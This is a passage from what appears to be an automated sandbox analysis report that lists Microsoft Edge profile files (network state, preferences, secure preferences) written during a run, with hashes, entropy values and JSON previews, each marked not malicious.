Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5fd6a025-a655-4e9b-9a97-57b74ffa11a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6322027c-749c-41a5-82e3-b194ec7b8ece.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	5.2901488557000595
Encrypted:	false
SSDEEP:	48:YcCpfgCzsBtsUfc7kBRsKWCIs9CgHSsMCgHFeYhbm:F2fqD2kBuATuTFhK
MD5:	F3071187054117C8E7FC1252C157FABD
SHA1:	626367A37060975D1580AB641E87441F0BA88F0E
SHA-256:	0970E69B7EE1537176A5422BBBE698AE39484E4A9513CE297BD77973327252A8
SHA-512:	9164295EBE3A78AD7C2F09C0693CF5825E2C2D6102B75B67F4F2901122365013D91D3C65C2D23AB59B505505EA8BC7FCB4FAF2DF323BA7D1653A42BC0BC83CA7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378480527692682","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378480530976305","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9ea67364-8430-4fd4-89e9-4f7b5d777328.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1941
Entropy (8bit):	5.288504212257134
Encrypted:	false
SSDEEP:	48:YcCpfgCzsBtsUfc7kBRsKWCIs9CgHSsMCgHjYhbm:F2fqD2kBuATuTEhK
MD5:	4D0ED589763C6F5E3555810621816C22
SHA1:	FC1035F327DCBAA052C467226AC4F7ABFD29D432
SHA-256:	8AC004AF6887087BD5DC0D1A010BC0078B4B7665D291AAC0355D884539E4318E
SHA-512:	023360BB8236209E37EDFA68462163DA47DD19751B2B155F72D962233797DEDD6E18470E79475EA471F431AD0814DD0C801AFAC8F2358E88139EF54A6A582E26
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378480527692682","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378480530976305","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4b051.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF604d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a365.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3afd9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a9b3a01e-aae0-48ad-a91a-f5c93e83716c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c54093e1-2a38-44b9-a7e6-e099900a5603.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cfa7f996-8bed-45a7-8bfc-bae236c17911.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3dd70.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4058a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44504.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF49e9e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF58e7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110153803079457
Encrypted:	false
SSDEEP:	192:stGkdphs9taFvrE9kGrdl38QbV+FwOQA0UGPnYJ:stGQhs9tCDAbGJQyj
MD5:	5A8B34143A5ECAB160E78DE76F93276B
SHA1:	0DB7978A6C3224DE66B8E3E935CA006F9BC2FFED
SHA-256:	3B316C54E798A34DA0CA1EF69D0A968353B3AC78FAB37AD24C719B2AFA2C826F
SHA-512:	82684DF4F68F941ED561EC5832358DF83E4D8E256FFC9EB37047877024BD097ADD606CF6BE0B2CDF1CAEDFE8DAD2A657035152EFF372999214B1A2C9B969858E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565323837061743
Encrypted:	false
SSDEEP:	768:w4g6niW+n7pLGLpNoW5w6Af40X8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPY/NfIolG:w30i5hcpNoWa6AfpXu1jaZ/NllSbtF
MD5:	315A1797775C903C7D1AB2622FF7EF9E
SHA1:	2904F1364579B8A036CC5A8343CBC9E01323969B
SHA-256:	B4AA9A5D58568FA967B4F141DC60C041000E544BAE9C6704CAE9661AA970C7A7
SHA-512:	29F54B08BD57B3251C0E342E2832A618279AF26BA001CDFA2111BF75B8A9F02B0C02B61163FF51DB12204612B043A5E9A2EF9E879AD4001B076DF541E94B8923
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375888524379073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375888524379073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3df93.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565323837061743
Encrypted:	false
SSDEEP:	768:w4g6niW+n7pLGLpNoW5w6Af40X8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPY/NfIolG:w30i5hcpNoWa6AfpXu1jaZ/NllSbtF
MD5:	315A1797775C903C7D1AB2622FF7EF9E
SHA1:	2904F1364579B8A036CC5A8343CBC9E01323969B
SHA-256:	B4AA9A5D58568FA967B4F141DC60C041000E544BAE9C6704CAE9661AA970C7A7
